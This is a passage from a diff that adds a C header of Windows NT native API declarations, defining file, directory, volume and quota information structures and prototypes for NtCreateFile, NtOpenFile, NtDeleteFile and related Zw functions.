PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION +{ + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, * PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION +{ + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, * PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION +{ + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, * PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION +{ + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, * PFILE_REPARSE_POINT_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_INFORMATION +{ + ULONG NextEntryOffset; + LONGLONG ParentFileId; // LARGE_INTEGER + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_INFORMATION, * PFILE_LINK_ENTRY_INFORMATION; + +typedef struct _FILE_LINKS_INFORMATION +{ + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_INFORMATION Entry; +} FILE_LINKS_INFORMATION, * PFILE_LINKS_INFORMATION; + +typedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION +{ + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NETWORK_PHYSICAL_NAME_INFORMATION, * PFILE_NETWORK_PHYSICAL_NAME_INFORMATION; + +typedef struct _FILE_STANDARD_LINK_INFORMATION +{ + ULONG NumberOfAccessibleLinks; + ULONG TotalNumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_LINK_INFORMATION, * PFILE_STANDARD_LINK_INFORMATION; + +typedef struct _FILE_SFIO_RESERVE_INFORMATION +{ + ULONG RequestsPerPeriod; + ULONG Period; + BOOLEAN RetryFailures; + BOOLEAN Discardable; + ULONG RequestSize; + ULONG NumOutstandingRequests; +} FILE_SFIO_RESERVE_INFORMATION, * PFILE_SFIO_RESERVE_INFORMATION; + +typedef struct _FILE_SFIO_VOLUME_INFORMATION +{ + ULONG MaximumRequestsPerPeriod; + ULONG MinimumPeriod; + ULONG MinimumTransferSize; +} FILE_SFIO_VOLUME_INFORMATION, * PFILE_SFIO_VOLUME_INFORMATION; + +typedef enum _IO_PRIORITY_HINT +{ + IoPriorityVeryLow = 0, // Defragging, content indexing and other background I/Os. + IoPriorityLow, // Prefetching for applications. + IoPriorityNormal, // Normal I/Os. + IoPriorityHigh, // Used by filesystems for checkpoint I/O. + IoPriorityCritical, // Used by memory manager. Not available for applications. + MaxIoPriorityTypes +} IO_PRIORITY_HINT; + +typedef DECLSPEC_ALIGN(8) struct _FILE_IO_PRIORITY_HINT_INFORMATION +{ + IO_PRIORITY_HINT PriorityHint; +} FILE_IO_PRIORITY_HINT_INFORMATION, * PFILE_IO_PRIORITY_HINT_INFORMATION; + +typedef struct _FILE_IO_PRIORITY_HINT_INFORMATION_EX +{ + IO_PRIORITY_HINT PriorityHint; + BOOLEAN BoostOutstanding; +} FILE_IO_PRIORITY_HINT_INFORMATION_EX, * PFILE_IO_PRIORITY_HINT_INFORMATION_EX; + +#define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS 0x1 +#define FILE_SKIP_SET_EVENT_ON_HANDLE 0x2 +#define FILE_SKIP_SET_USER_EVENT_ON_FAST_IO 0x4 + +typedef struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION +{ + ULONG Flags; +} FILE_IO_COMPLETION_NOTIFICATION_INFORMATION, * PFILE_IO_COMPLETION_NOTIFICATION_INFORMATION; + +typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION +{ + ULONG NumberOfProcessIdsInList; + ULONG_PTR ProcessIdList[1]; +} FILE_PROCESS_IDS_USING_FILE_INFORMATION, * PFILE_PROCESS_IDS_USING_FILE_INFORMATION; + +typedef struct _FILE_IS_REMOTE_DEVICE_INFORMATION +{ + BOOLEAN IsRemote; +} FILE_IS_REMOTE_DEVICE_INFORMATION, * PFILE_IS_REMOTE_DEVICE_INFORMATION; + +typedef struct _FILE_NUMA_NODE_INFORMATION +{ + USHORT NodeNumber; +} FILE_NUMA_NODE_INFORMATION, * PFILE_NUMA_NODE_INFORMATION; + +typedef struct _FILE_IOSTATUSBLOCK_RANGE_INFORMATION +{ + PUCHAR IoStatusBlockRange; + ULONG Length; +} FILE_IOSTATUSBLOCK_RANGE_INFORMATION, * PFILE_IOSTATUSBLOCK_RANGE_INFORMATION; + +// Win32 FILE_REMOTE_PROTOCOL_INFO +typedef struct _FILE_REMOTE_PROTOCOL_INFORMATION +{ + // Structure Version + USHORT StructureVersion; // 1 for Win7, 2 for Win8 SMB3, 3 for Blue SMB3, 4 for RS5 + USHORT StructureSize; // sizeof(FILE_REMOTE_PROTOCOL_INFORMATION) + + ULONG Protocol; // Protocol (WNNC_NET_*) defined in winnetwk.h or ntifs.h. + + // Protocol Version & Type + USHORT ProtocolMajorVersion; + USHORT ProtocolMinorVersion; + USHORT ProtocolRevision; + + USHORT Reserved; + + // Protocol-Generic Information + ULONG Flags; + + struct + { + ULONG Reserved[8]; + } GenericReserved; + + // Protocol specific information + +#if (NTDDI_VERSION < NTDDI_WIN8) + struct + { + ULONG Reserved[16]; + } ProtocolSpecificReserved; +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) + union + { + struct + { + struct + { + ULONG Capabilities; + } Server; + struct + { + ULONG Capabilities; +#if (NTDDI_VERSION >= NTDDI_WIN10_FE) + ULONG ShareFlags; +#else + ULONG CachingFlags; +#endif +#if (NTDDI_VERSION >= NTDDI_WIN10_RS5) + UCHAR ShareType; + UCHAR Reserved0[3]; + ULONG Reserved1; +#endif + } Share; + } Smb2; + ULONG Reserved[16]; + } ProtocolSpecific; +#endif +} FILE_REMOTE_PROTOCOL_INFORMATION, * PFILE_REMOTE_PROTOCOL_INFORMATION; + +#define CHECKSUM_ENFORCEMENT_OFF 0x00000001 + +typedef struct _FILE_INTEGRITY_STREAM_INFORMATION +{ + USHORT ChecksumAlgorithm; + UCHAR ChecksumChunkShift; + UCHAR ClusterShift; + ULONG Flags; +} FILE_INTEGRITY_STREAM_INFORMATION, * PFILE_INTEGRITY_STREAM_INFORMATION; + +typedef struct _FILE_VOLUME_NAME_INFORMATION +{ + ULONG DeviceNameLength; + WCHAR DeviceName[1]; +} FILE_VOLUME_NAME_INFORMATION, * PFILE_VOLUME_NAME_INFORMATION; + +typedef struct _FILE_ID_INFORMATION +{ + ULONGLONG VolumeSerialNumber; + FILE_ID_128 FileId; +} FILE_ID_INFORMATION, * PFILE_ID_INFORMATION; + +typedef struct _FILE_ID_EXTD_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + WCHAR FileName[1]; +} FILE_ID_EXTD_DIR_INFORMATION, * PFILE_ID_EXTD_DIR_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_FULL_ID_INFORMATION +{ + ULONG NextEntryOffset; + FILE_ID_128 ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_FULL_ID_INFORMATION, * PFILE_LINK_ENTRY_FULL_ID_INFORMATION; + +typedef struct _FILE_LINKS_FULL_ID_INFORMATION +{ + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_FULL_ID_INFORMATION Entry; +} FILE_LINKS_FULL_ID_INFORMATION, * PFILE_LINKS_FULL_ID_INFORMATION; + +typedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + ULONG ReparsePointTag; + FILE_ID_128 FileId; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_ID_EXTD_BOTH_DIR_INFORMATION, * PFILE_ID_EXTD_BOTH_DIR_INFORMATION; + +// private +typedef struct _FILE_STAT_INFORMATION +{ + LARGE_INTEGER FileId; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; + ULONG ReparseTag; + ULONG NumberOfLinks; + ACCESS_MASK EffectiveAccess; +} FILE_STAT_INFORMATION, * PFILE_STAT_INFORMATION; + +// private +typedef struct _FILE_MEMORY_PARTITION_INFORMATION +{ + HANDLE OwnerPartitionHandle; + union + { + struct + { + UCHAR NoCrossPartitionAccess; + UCHAR Spare[3]; + }; + ULONG AllFlags; + } Flags; +} FILE_MEMORY_PARTITION_INFORMATION, * PFILE_MEMORY_PARTITION_INFORMATION; + +// LxFlags +#define LX_FILE_METADATA_HAS_UID 0x1 +#define LX_FILE_METADATA_HAS_GID 0x2 +#define LX_FILE_METADATA_HAS_MODE 0x4 +#define LX_FILE_METADATA_HAS_DEVICE_ID 0x8 +#define LX_FILE_CASE_SENSITIVE_DIR 0x10 + +// private +typedef struct _FILE_STAT_LX_INFORMATION +{ + LARGE_INTEGER FileId; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; + ULONG ReparseTag; + ULONG NumberOfLinks; + ACCESS_MASK EffectiveAccess; + ULONG LxFlags; + ULONG LxUid; + ULONG LxGid; + ULONG LxMode; + ULONG LxDeviceIdMajor; + ULONG LxDeviceIdMinor; +} FILE_STAT_LX_INFORMATION, * PFILE_STAT_LX_INFORMATION; + +#define FILE_CS_FLAG_CASE_SENSITIVE_DIR 0x00000001 + +// private +typedef struct _FILE_CASE_SENSITIVE_INFORMATION +{ + ULONG Flags; +} FILE_CASE_SENSITIVE_INFORMATION, * PFILE_CASE_SENSITIVE_INFORMATION; + +// private +typedef enum _FILE_KNOWN_FOLDER_TYPE +{ + KnownFolderNone, + KnownFolderDesktop, + KnownFolderDocuments, + KnownFolderDownloads, + KnownFolderMusic, + KnownFolderPictures, + KnownFolderVideos, + KnownFolderOther, + KnownFolderMax = 7 +} FILE_KNOWN_FOLDER_TYPE; + +// private +typedef struct _FILE_KNOWN_FOLDER_INFORMATION +{ + FILE_KNOWN_FOLDER_TYPE Type; +} FILE_KNOWN_FOLDER_INFORMATION, * PFILE_KNOWN_FOLDER_INFORMATION; + +// NtQueryDirectoryFile types + +typedef struct _FILE_DIRECTORY_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, * PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, * PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, * PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, * PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, * PFILE_NAMES_INFORMATION; + +typedef struct _FILE_ID_GLOBAL_TX_DIR_INFORMATION +{ + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + LARGE_INTEGER FileId; + GUID LockingTransactionId; + ULONG TxInfoFlags; + WCHAR FileName[1]; +} FILE_ID_GLOBAL_TX_DIR_INFORMATION, * PFILE_ID_GLOBAL_TX_DIR_INFORMATION; + +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_WRITELOCKED 0x00000001 +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_VISIBLE_TO_TX 0x00000002 +#define FILE_ID_GLOBAL_TX_DIR_INFO_FLAG_VISIBLE_OUTSIDE_TX 0x00000004 + +typedef struct _FILE_OBJECTID_INFORMATION +{ + LONGLONG FileReference; + UCHAR ObjectId[16]; // GUID + union + { + struct + { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, * PFILE_OBJECTID_INFORMATION; + +// NtQueryEaFile/NtSetEaFile types + +typedef struct _FILE_FULL_EA_INFORMATION +{ + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION +{ + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION; + +// NtQueryQuotaInformationFile/NtSetQuotaInformationFile types + +typedef struct _FILE_GET_QUOTA_INFORMATION +{ + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, * PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION +{ + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, * PFILE_QUOTA_INFORMATION; + +typedef enum _FSINFOCLASS +{ + FileFsVolumeInformation = 1, // FILE_FS_VOLUME_INFORMATION + FileFsLabelInformation, // FILE_FS_LABEL_INFORMATION + FileFsSizeInformation, // FILE_FS_SIZE_INFORMATION + FileFsDeviceInformation, // FILE_FS_DEVICE_INFORMATION + FileFsAttributeInformation, // FILE_FS_ATTRIBUTE_INFORMATION + FileFsControlInformation, // FILE_FS_CONTROL_INFORMATION + FileFsFullSizeInformation, // FILE_FS_FULL_SIZE_INFORMATION + FileFsObjectIdInformation, // FILE_FS_OBJECTID_INFORMATION + FileFsDriverPathInformation, // FILE_FS_DRIVER_PATH_INFORMATION + FileFsVolumeFlagsInformation, // FILE_FS_VOLUME_FLAGS_INFORMATION // 10 + FileFsSectorSizeInformation, // FILE_FS_SECTOR_SIZE_INFORMATION // since WIN8 + FileFsDataCopyInformation, // FILE_FS_DATA_COPY_INFORMATION + FileFsMetadataSizeInformation, // FILE_FS_METADATA_SIZE_INFORMATION // since THRESHOLD + FileFsFullSizeInformationEx, // FILE_FS_FULL_SIZE_INFORMATION_EX // since REDSTONE5 + FileFsMaximumInformation +} FS_INFORMATION_CLASS, * PFS_INFORMATION_CLASS; + +// NtQueryVolumeInformation/NtSetVolumeInformation types + +// private +typedef struct _FILE_FS_VOLUME_INFORMATION +{ + LARGE_INTEGER VolumeCreationTime; + ULONG VolumeSerialNumber; + ULONG VolumeLabelLength; + BOOLEAN SupportsObjects; + WCHAR VolumeLabel[1]; +} FILE_FS_VOLUME_INFORMATION, * PFILE_FS_VOLUME_INFORMATION; + +// private +typedef struct _FILE_FS_LABEL_INFORMATION +{ + ULONG VolumeLabelLength; + WCHAR VolumeLabel[1]; +} FILE_FS_LABEL_INFORMATION, * PFILE_FS_LABEL_INFORMATION; + +// private +typedef struct _FILE_FS_SIZE_INFORMATION +{ + LARGE_INTEGER TotalAllocationUnits; + LARGE_INTEGER AvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_SIZE_INFORMATION, * PFILE_FS_SIZE_INFORMATION; + +// FileSystemControlFlags +#define FILE_VC_QUOTA_NONE 0x00000000 +#define FILE_VC_QUOTA_TRACK 0x00000001 +#define FILE_VC_QUOTA_ENFORCE 0x00000002 +#define FILE_VC_QUOTA_MASK 0x00000003 +#define FILE_VC_CONTENT_INDEX_DISABLED 0x00000008 +#define FILE_VC_LOG_QUOTA_THRESHOLD 0x00000010 +#define FILE_VC_LOG_QUOTA_LIMIT 0x00000020 +#define FILE_VC_LOG_VOLUME_THRESHOLD 0x00000040 +#define FILE_VC_LOG_VOLUME_LIMIT 0x00000080 +#define FILE_VC_QUOTAS_INCOMPLETE 0x00000100 +#define FILE_VC_QUOTAS_REBUILDING 0x00000200 +#define FILE_VC_VALID_MASK 0x000003ff + +// private +typedef struct _FILE_FS_CONTROL_INFORMATION +{ + LARGE_INTEGER FreeSpaceStartFiltering; + LARGE_INTEGER FreeSpaceThreshold; + LARGE_INTEGER FreeSpaceStopFiltering; + LARGE_INTEGER DefaultQuotaThreshold; + LARGE_INTEGER DefaultQuotaLimit; + ULONG FileSystemControlFlags; +} FILE_FS_CONTROL_INFORMATION, * PFILE_FS_CONTROL_INFORMATION; + +// private +typedef struct _FILE_FS_FULL_SIZE_INFORMATION +{ + LARGE_INTEGER TotalAllocationUnits; + LARGE_INTEGER CallerAvailableAllocationUnits; + LARGE_INTEGER ActualAvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_FULL_SIZE_INFORMATION, * PFILE_FS_FULL_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_OBJECTID_INFORMATION +{ + UCHAR ObjectId[16]; + UCHAR ExtendedInfo[48]; +} FILE_FS_OBJECTID_INFORMATION, * PFILE_FS_OBJECTID_INFORMATION; + +// private +typedef struct _FILE_FS_DEVICE_INFORMATION +{ + DEVICE_TYPE DeviceType; + ULONG Characteristics; +} FILE_FS_DEVICE_INFORMATION, * PFILE_FS_DEVICE_INFORMATION; + +// private +typedef struct _FILE_FS_ATTRIBUTE_INFORMATION +{ + ULONG FileSystemAttributes; + LONG MaximumComponentNameLength; + ULONG FileSystemNameLength; + WCHAR FileSystemName[1]; +} FILE_FS_ATTRIBUTE_INFORMATION, * PFILE_FS_ATTRIBUTE_INFORMATION; + +// private +typedef struct _FILE_FS_DRIVER_PATH_INFORMATION +{ + BOOLEAN DriverInPath; + ULONG DriverNameLength; + WCHAR DriverName[1]; +} FILE_FS_DRIVER_PATH_INFORMATION, * PFILE_FS_DRIVER_PATH_INFORMATION; + +// private +typedef struct _FILE_FS_VOLUME_FLAGS_INFORMATION +{ + ULONG Flags; +} FILE_FS_VOLUME_FLAGS_INFORMATION, * PFILE_FS_VOLUME_FLAGS_INFORMATION; + +#define SSINFO_FLAGS_ALIGNED_DEVICE 0x00000001 +#define SSINFO_FLAGS_PARTITION_ALIGNED_ON_DEVICE 0x00000002 + +// If set for Sector and Partition fields, alignment is not known. +#define SSINFO_OFFSET_UNKNOWN 0xffffffff + +typedef struct _FILE_FS_SECTOR_SIZE_INFORMATION +{ + ULONG LogicalBytesPerSector; + ULONG PhysicalBytesPerSectorForAtomicity; + ULONG PhysicalBytesPerSectorForPerformance; + ULONG FileSystemEffectivePhysicalBytesPerSectorForAtomicity; + ULONG Flags; + ULONG ByteOffsetForSectorAlignment; + ULONG ByteOffsetForPartitionAlignment; +} FILE_FS_SECTOR_SIZE_INFORMATION, * PFILE_FS_SECTOR_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_DATA_COPY_INFORMATION +{ + ULONG NumberOfCopies; +} FILE_FS_DATA_COPY_INFORMATION, * PFILE_FS_DATA_COPY_INFORMATION; + +// private +typedef struct _FILE_FS_METADATA_SIZE_INFORMATION +{ + LARGE_INTEGER TotalMetadataAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_METADATA_SIZE_INFORMATION, * PFILE_FS_METADATA_SIZE_INFORMATION; + +// private +typedef struct _FILE_FS_FULL_SIZE_INFORMATION_EX +{ + ULONGLONG ActualTotalAllocationUnits; + ULONGLONG ActualAvailableAllocationUnits; + ULONGLONG ActualPoolUnavailableAllocationUnits; + ULONGLONG CallerTotalAllocationUnits; + ULONGLONG CallerAvailableAllocationUnits; + ULONGLONG CallerPoolUnavailableAllocationUnits; + ULONGLONG UsedAllocationUnits; + ULONGLONG TotalReservedAllocationUnits; + ULONGLONG VolumeStorageReserveAllocationUnits; + ULONGLONG AvailableCommittedAllocationUnits; + ULONGLONG PoolAvailableAllocationUnits; + ULONG SectorsPerAllocationUnit; + ULONG BytesPerSector; +} FILE_FS_FULL_SIZE_INFORMATION_EX, * PFILE_FS_FULL_SIZE_INFORMATION_EX; +#endif // !_KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateNamedPipeFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_opt_ PLARGE_INTEGER DefaultTimeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +NTAPI +ZwCreateNamedPipeFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ ULONG NamedPipeType, + _In_ ULONG ReadMode, + _In_ ULONG CompletionMode, + _In_ ULONG MaximumInstances, + _In_ ULONG InboundQuota, + _In_ ULONG OutboundQuota, + _In_opt_ PLARGE_INTEGER DefaultTimeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +NTAPI +ZwCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteFile( + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +ZwFlushBuffersFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); +#endif + +#define FLUSH_FLAGS_FILE_DATA_ONLY 0x00000001 +#define FLUSH_FLAGS_NO_SYNC 0x00000002 +#define FLUSH_FLAGS_FILE_DATA_SYNC_ONLY 0x00000004 // REDSTONE1 + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFlushBuffersFileEx ( + _In_ HANDLE FileHandle, + _In_ ULONG Flags, + _In_reads_bytes_(ParametersSize) PVOID Parameters, + _In_ ULONG ParametersSize, + _Out_ PIO_STATUS_BLOCK IoStatusBlock + ); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +ZwFlushBuffersFileEx( + _In_ HANDLE FileHandle, + _In_ ULONG FLags, + _In_reads_bytes_(ParametersSize) PVOID Parameters, + _In_ ULONG ParametersSize, + _Out_ PIO_STATUS_BLOCK IoStatusBlock +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_writes_bytes_(Length) PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK 